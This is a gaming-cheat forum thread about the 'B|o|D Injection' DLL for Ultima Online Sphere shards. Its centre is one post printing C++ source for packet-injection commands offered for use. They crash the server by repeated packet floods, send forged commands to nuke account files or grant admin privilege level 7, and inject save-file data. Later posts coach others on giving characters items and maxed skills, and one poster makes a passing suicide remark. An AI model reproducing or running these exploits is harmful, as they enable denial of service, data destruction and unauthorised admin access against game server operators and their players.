View Full Version : B|o|D Injection
ReDragoN
26th December 2003, 21:00
I have it, anyone wanna trade for something else? The version I have is the last one.
Dark
27th December 2003, 04:07
Read rules pls.. MPC dont trade, if u want to post the hack, so post it or hold it private.
Virtuosofriend
28th December 2003, 23:37
If you wanna trade do it.But if you ask money for it i will warn you.
ReDragoN
29th December 2003, 01:15
lol funny asking money for a stupid dll...
Dark
29th December 2003, 02:03
there are alot of ppl who make this.. but its in some countrys illegal to sell hackz
Virtuosofriend
31st December 2003, 00:57
And we dont support ppl who sell hacks.
vn1
4th January 2004, 06:14
what about write some info about this dll ? what this dll can do ?
I have pg|de and one that can create items and crash world save on 51a
my icq is 10905813
Sr.TV
4th January 2004, 07:17
Someone has it to works on RunUO?
CrackBunny
5th January 2004, 17:04
What is a the B|o|D Injection ? what can you do with what are the fuctions ?
ReDragoN
5th January 2004, 18:55
Some cool features?
It contain ALL pg|de's feature in it.
Also:
,nukeacct <- nuke account file
,diesphere <- crash the shard
,modchar <- tweak yourself items/skills/stats
,broadcast <- broadcast a message
,setuid <- set the uid of an object
,sys <- send a message to all online client
that is all i think for the moment :/
CrackBunny
5th January 2004, 19:40
that sounds super nice but its like pg.de i think they won't release it public only private
ReDragoN
5th January 2004, 20:04
well website of bod injection is still on and the download link still work.
CrackBunny
5th January 2004, 20:27
Originally posted by ReDragoN
well website of bod injection is still on and the download link still work.
so what is the site ?
ReDragoN
5th January 2004, 20:36
Why don't you search on internet? :)
CrackBunny
6th January 2004, 12:42
well bod won't work on all shard redragon an me tested it on an shard but it didn't work at all
Sr.TV
6th January 2004, 16:05
HELP !!! I Can't find it ... :(
ReDragoN
6th January 2004, 17:57
Originally posted by CrackBunny
well bod won't work on all shard redragon an me tested it on an shard but it didn't work at all
Right, on the shard he plays it is all fixed. :(
CrackBunny
6th January 2004, 21:54
but there still ar shard where it aint fixt
CrackBunny
12th January 2004, 21:04
iet.wakeuphate.com (http://iet.wakeuphate.com/index.html) got it from the other thread
_C_
21st January 2004, 20:05
hello folks!
i've tried bod injection, but i dont know where i've to write command, for exaple ,modchar
Can anyone help me?
Thanks
ReDragoN
22nd January 2004, 00:25
Originally posted by _C_
hello folks!
i've tried bod injection, but i dont know where i've to write command, for exaple ,modchar
Can anyone help me?
Thanks
http://iet.wakeuphate.com/injection.html
TheGangster
23rd January 2004, 17:14
If anyone understands me... here's the code..
void Injection::command_modchar(const arglist_t & args)
{
int in, i;
i=0;
uint8 * buf = new uint8[255];
buf[0]=0x75;
char buffer[1];
char t=0x00;
pack_big_uint32(buf + 1, m_world->get_player()->get_serial());
in=_open("char.txt", _O_BINARY|_O_RANDOM);
for(i=0; i<filelength(in); i++)
{
_read(in, buffer, 1);
buf[5+i]=(uint8)buffer[0];
}
_close(in);
if (i<30)
{
for (int j=i; j<30; j++)
buf[j+i]=t;
i=30;
}
else if (i>255)
{
return;
}
else if ((i<255) && (i!=3))
{
client_print("IET: Adjusting charactor...");
for (int j=i;j<255;j++)
buf[j+i]=' ';
i=255;
}
send_server( buf, (5+i));
delete [] buf;
stg="";
}
void Injection::command_sendpacket(const arglist_t & args)
{
int s=atoi(args[1].c_str());
uint8 * buf = new uint8[1000];
uint8 * b = new uint8[4];
uint8 * buffer = new uint8[4];
int in,i,j,l;
int c=0,c2=0;
in=_open("packet.txt", _O_BINARY|_O_RANDOM);
for(i=0;i<filelength(in);i+=4)
{
_read(in,buffer,3);
_read(in,b,1);
if (buffer[0]=='x')
{
stg="";
stg+=buffer[1];
stg+=buffer[2];
_read(in,buffer,3);
_read(in,b,1);
l=atoi(stg.c_str());
for(j=0;j<l;j++)
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
i+=3;
}
else if (buffer[0]=='\"')
{
buf[c]=buffer[1];c++;
buf[c]=buffer[2];c++;
buf[c]=b[0];c++;
bool check=true;
while (check)
{
_read(in,b,1);
i++;
if (b[0]=='\"')
{
_read(in,b,1);
i++;
check=false;
}
else
{
buf[c]=b[0];
c++;
}
}
}
else if (buffer[0]=='u')
{
client_print("u");
pack_big_uint32(buf + c, m_world->get_player()->get_serial());
c+=4;
}
else if (buffer[0]=='s')
{
int l;
stg="";
stg+=buffer[1];
stg+=buffer[2];
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}
pack_big_uint32(buf + c, objeto[l]);
c+=4;
}
else if (buffer[0]=='\\')
{
buf[c] = (hex2dec( buffer[1], buffer[2] ));
c++;
}
else if (buffer[0]=='q')
{
_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
return ;
}
else
{
stg="";
stg+=buffer[0];
stg+=buffer[1];
stg+=buffer[2];
buf[c]=atoi(stg.c_str());
c++;
}
}
_close( in );
switch(s)
{
case 1:send_client(buf,c);break;
default:send_server(buf,c);
}
}
void Injection::command_setuid(const arglist_t & args)
{
if(args.size() < 2)
{
client_print("IET: Use [setuid <Numbers: 1 - 16>");
return;
}
stg=args[1];
client_print(stg);
client_print("IET: Select object to set the uid...");
request_target(&Injection::target_setuid);
}
void Injection::target_setuid(GameObject * obj)
{
if(obj == 0)
{
client_print("IET: Target Canceled...");
return;
}
else
{
int l=0;
l=atoi(stg.c_str());
if (l>16 || l < 0)
{
client_print("IET: Invalid...");
l=0;
}
objeto[l]=obj->get_serial();
}
}
void Injection::command_nukeacct(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".email bod_iet@yahoo.com\n[EOF]"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: Accounts Nuked...Wait for reboot...");
}
void Injection::command_diesphere(const arglist_t & args)
{
uint8 buf[100000];
buf[0] = 0x94;
buf[1] = 0x11;
buf[1] = 0x01;
strcpy(reinterpret_cast<char *>(buf + 3), "Di Dieee kill die kill ******* **** shit qqqqqq ad wef asfadsf af asf af asf afsa fsadf afs fa fasd asfa sfa sfsaf as a fsa fsaf a fsaf saf asf asfd ");
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
send_server(buf, sizeof(buf));
client_print("IET: CrashZorZ SPHERE to Da Max!");
}
void Injection::command_sys(const arglist_t & args)
{
string str = string("");
str = string(args[1]);
for(int i=2; i<args.size(); i++) str+=string(" ")+string(args[i]);
int len = str.length();
uint8 * newbuf = new uint8[8 + len];
newbuf[0] = CODE_CLIENT_TALK;
pack_big_uint16(newbuf + 1, 8 + len);
newbuf[3] = 0xFF;
newbuf[4] = 0x03;
newbuf[5] = 0xb2;
newbuf[6] = 0x00;
newbuf[7] = 0x06;
newbuf[8] = 0x00;
memcpy(newbuf + 8, str.c_str(), len);
send_server(newbuf, 8 + len);
delete /*[]*/ newbuf;
}
void Injection::command_plevel(const arglist_t & args)
{
char str[26];
for (int x = 0; x < 26; x++)
str[x] = ".password IET\nplevel=7"[x];
//str[14] = 13;
uint8 buf[300];
buf[0] = 0xad;
//pack_big_uint16(buf + 1, 36);
pack_big_uint32(buf + 3, 0x0002b200);
pack_big_uint32(buf + 7, 0x03444555);
pack_big_uint16(buf + 11, 0x0000);
/*pack_big_uint32(buf + 15, 0x2e706173);
pack_big_uint32(buf + 19, 0x73776f72);
pack_big_uint32(buf + 23, 0x64207465);
pack_big_uint16(buf + 27, 0x7374);
buf[29] = "\n"[0];
pack_big_uint32(buf + 30, 0x706c6576);
pack_big_uint32(buf + 34, 0x656c2037);*/
for (int i = 0; i < 26; i++)
{
buf[i*2 + 13] = str[i];
buf[i*2 + 14] = 0x00;
}
buf[i*2+14] = 0x00;
pack_big_uint16(buf + 1, i*2+14);
send_server(buf, i*2+14);
client_print("IET: w00t I Got Da PoWaH");
}
void Injection::command_ress(const arglist_t & args)
{
uint8 buf[2];
buf[0] = 0x2c;
buf[1] = 0x01;
send_server(buf, sizeof(buf));
client_print("IET: You have been resurrected...");
}
This is the source of 'B|O|D'
ReDragoN
24th January 2004, 06:12
Hehe thx. Didn't know it had ,ress ^^
Nazgull
16th February 2004, 15:43
how do i compile it?
bR|nofeaR
16th February 2004, 20:10
maybe using c++ :bunny:
dhrv2
23rd February 2004, 22:52
yep
_C_
24th February 2004, 17:24
i've used bod injection for edit mi charactor, but all the commands that i write in char.txt go to my character name
for example:
char.txt:
Destroyer
Fencing=1000
Char name: Destroyer Fencing=1000
pls help me :bunny:
P.S.: i'm sorry for my not perfect english
bR|nofeaR
24th February 2004, 17:41
Originally posted by _C_ on 24th February 2004 at 11:24
i've used bod injection for edit mi charactor, but all the commands that i write in char.txt go to my character name
for example:
char.txt:
Destroyer
Fencing=1000
Char name: Destroyer Fencing=1000
pls help me :bunny:
P.S.: i'm sorry for my not perfect english
lol... i never heard about changing name...
in most of shards it dont work..
try to put \n and ; after commands..
like Fencing=1000\n
or
Fencing=1000;
dunno...
dont worry about your english, mine is worst.. uahe :///
Prianik
24th February 2004, 22:35
can someone help me with ,modchar???Plz cfn u post me full post 2 create charter...or pass me txt file to job2010@inbox.ru
sry for bad english
_C_
24th February 2004, 22:59
Originally posted by bR|nofeaR
lol... i never heard about changing name...
in most of shards it dont work..
try to put \n and ; after commands..
like Fencing=1000\n
or
Fencing=1000;
dunno...
dont worry about your english, mine is worst.. uahe :///
i've tried to use ; and /n but, after using ,modchar ; and /n will be write in the name of the charactor...
someone that used BOD Injection succesfully can help me? :bunny:
thanks a lot
Nazgull
25th February 2004, 15:59
,modchar aint workin' in any shard, it jsut changes ur name in what u have written in the char.txt file
ie. if u wrote :
Charname
Healing=1000
ur charname will change to charname healing=1000
bR|nofeaR
25th February 2004, 16:07
dont you have to write in hex? o_O
Nazgull
25th February 2004, 18:46
*dunno wtf is hex =)*
explain me please
rawr69!
25th February 2004, 21:08
hex = hexadecimal.
but i doubt that you have to use hex for anything, just open the basic files of the release of the shard you're playing and look at the format of the char, just copy it with different values and it hsould work
bR|nofeaR
25th February 2004, 21:22
,modchar // this reads from a file in injection folder called char.txt, you put in info, it creates items, and changes chars Example:
Newbaby //ur char name
ACCOUNT=newbaby //ur acct name
P=670,2235,-3 //this is where you char will login at when shard reboots
DIR=7
OSKIN=083ea
[WORLDITEM i_platinum_ingot]
SERIAL=040699957 //make bullshit UID, use a high number, has to start with 04
CONT=0576894 //ur chars UID
AMOUNT=50000
COLOR=07a1
WEIGHT=1
ATTR=attr_newbie
Char Name
Alchemy=1000
That would set Alchemy to 1000. But the skill has to be at 0.0 first.
_C_
26th February 2004, 03:04
I tried with a skill that is 0.0 and Fencing=1000 went in my charator name with my name
ReDragoN
26th February 2004, 03:07
I dunno but maybe let it like that and wait for shard to reboot?
_C_
26th February 2004, 18:27
Originally posted by ReDragoN
I dunno but maybe let it like that and wait for shard to reboot?
when you've used ,modchar the commands (for example Fencing=1000) go in the name?
ReDragoN
26th February 2004, 19:53
No. In game do it. Then leave and wait for the shard to reboot.
rawr69!
27th February 2004, 20:30
take care of the caps
_C_
27th February 2004, 22:23
Originally posted by rawr69!
take care of the caps
what does caps mean?
rawr69!
28th February 2004, 00:13
capital leters
aA bB cC
plevel != PLEVEL
i noticed that in some releases of sphere
bR|nofeaR
28th February 2004, 03:38
i tried ,modchar in 51a server, and it worked.... but need to set skill to 0 before using, until the reboot u cant see difference... :)
Holy Cheater
28th February 2004, 15:18
,crash doesn't work :(
_C_
28th February 2004, 16:36
Originally posted by bR|nofeaR
i tried ,modchar in 51a server, and it worked.... but need to set skill to 0 before using, until the reboot u cant see difference... :)
nofear, can you paste exactly what you have write in char.txt
bR|nofeaR
28th February 2004, 19:31
Jerryno
Stealing=1000
Provocation=1000
Necromancy=1000
Charname
skil1
skil2
skil3
all these skills was in 0 :)
_C_
28th February 2004, 22:27
shit! i wrote the same thing!
do you write ",modchar" or ",modchar Jerryno? :bunny:
ReDragoN
29th February 2004, 17:41
,modchar
bR|nofeaR
29th February 2004, 21:19
,modchar
when it work, "adjusting caractor..." appear in client_print
it doesnt seem to work until the reboot :)
else.. it didnt work.. :P
irenox
24th June 2004, 14:26
hi, please send mi bod injection ;( nox@rawanet.net
pleaseee
Dark
24th June 2004, 19:27
look at the other threads, there u could found it
irenox
24th June 2004, 22:09
i cant find it ;( please help
Dark
24th June 2004, 23:04
http://www.mpcforum.com/showthread.php?t=41877
irenox
25th June 2004, 14:25
Big thx Dark. hm i cant use it ;( i have error : (Loading Injection... Error) Error Details : failed to load injection.dll in launcher
reason: (1157) (cant find and open) ;-( help plz...
sorry for errors but im bad in english ;/
LcZelion
12th July 2004, 00:39
Help me!
I can't open url to download BOD injection
Please email it me! lczelion@mail.ru
Dark
12th July 2004, 01:42
http://www.mpcforum.com/attachment.php?attachmentid=179
try this one, before u could download u must register
red_dragons02
12th July 2004, 09:26
most of this stuff I don't even get man..do you have to be experienced in messing around with files and such? cuz if you do i'm screwed.
LOLek
21st July 2004, 21:14
http://www.mpcforum.com/attachment.php?attachmentid=179
try this one, before u could download u must register
BlackOut is B|o|D ? ;)
rawr69!
23rd July 2004, 21:42
nope blackOut != BoD
sir bedevier
25th July 2004, 05:23
so do i jsut put the injection.dll in my UO program folder thingy? sry, im a total noob wit injection
o and, like, in-game i do ,modchar bedevier swordsmanship 200 blacksmithy 200 parrying 200 ???
sir bedevier
25th July 2004, 10:55
hmm, ok i dwnlded the BOD injection dll thingy, and i have injection normal thingy, but when i go to use injection, like it open place were u can edit the filepaths and stuff, but i click on launch, and it goes fine till loading injection, error window pops up and says, This application has failed to start because LIBEXPAT.dll was not found. wtf??? i got LIBEXPATW.dll, but no LIBEXPAT.dll, sum 1 help plz. and yet before i dwnlded the BOD thing, it was fine :S :dead:
Shogun32
25th July 2004, 13:31
rename LIBEXPATW.dll to LIBEXPAT.dll and it should work... (make a back up first)
blitzkreig503
13th April 2008, 08:09
guys im compleatly frusterated!!!!! i clicked all the links none of them worked for me i have literaly spent two weeks nonestop trying to find out how or where to download BOD or Blackout PLEASE PLEASE PLEASE email it to me before i kill myself!!! Romosoldier@hotmail.com PLEASEE!!!! thanks
dandasarge
17th April 2008, 19:47
This post was dead 4 years ago
vBulletin® v3.8.4, Copyright ©2000-2009, Jelsoft Enterprises Ltd.